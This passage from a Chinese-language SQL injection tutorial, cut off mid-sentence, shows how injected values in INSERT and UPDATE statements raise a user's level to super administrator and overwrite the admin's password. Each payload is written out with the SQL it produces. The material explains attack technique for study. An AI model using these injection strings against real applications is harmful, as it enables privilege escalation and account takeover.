这样就注册成为超级管理员了。但这种利用方法也有一定的局限性,比如,我没有需要改写的变量如userlevel字段是数据库的第一个字段,前面没有地方给我们注入,我们也没有办法了。
或许INSERT还有更广泛的应用,大家可以自行研究,但原理都是一样的。
UPDATE
和INSERT相比,UPDATE的应用更加广泛,如果过滤不够,足以改写任何数据,还是拿刚才的注册程序来说,数据结构也不变,我们看一下用户自己修改自己的资料,SQL语句一般都是这样写的:
|
UPDATE user SET password='$password', homepage='$homepage' WHERE id='$id' |
用户可以修改自己的密码和主页,大家有什么想法?总不至于还是提升权限吧?程序中的SQL语句又没有更新userlevel字段,怎么提升啊?还是老办法,构造$homepage变量, 指定$homepage变量为:
|
http://4ngel.net', userlevel='3 |
整个SQL语句就变成这样:
|
UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id' |
我们是不是又变成超级管理员了?程序不更新userlevel字段,我们自己来。
还有更加绝的,直接修改任意用户的资料,还是刚才的例句,但这次安全一点,使用MD5加密:
|
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id' |
尽管密码被加密了,但我们还是可以构造我们需要的语句,我们指定$password为:
|
mypass)' WHERE username='admin'# |
这时整个语句变为:
|
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id' |
这样就更改了更新的条件,我管你后面的代码是不是在哭这说:我们还没有执行啊。当然,也可以从$id下手,指定$id为:
|
' OR username='admin' |
这时整个语句变为:







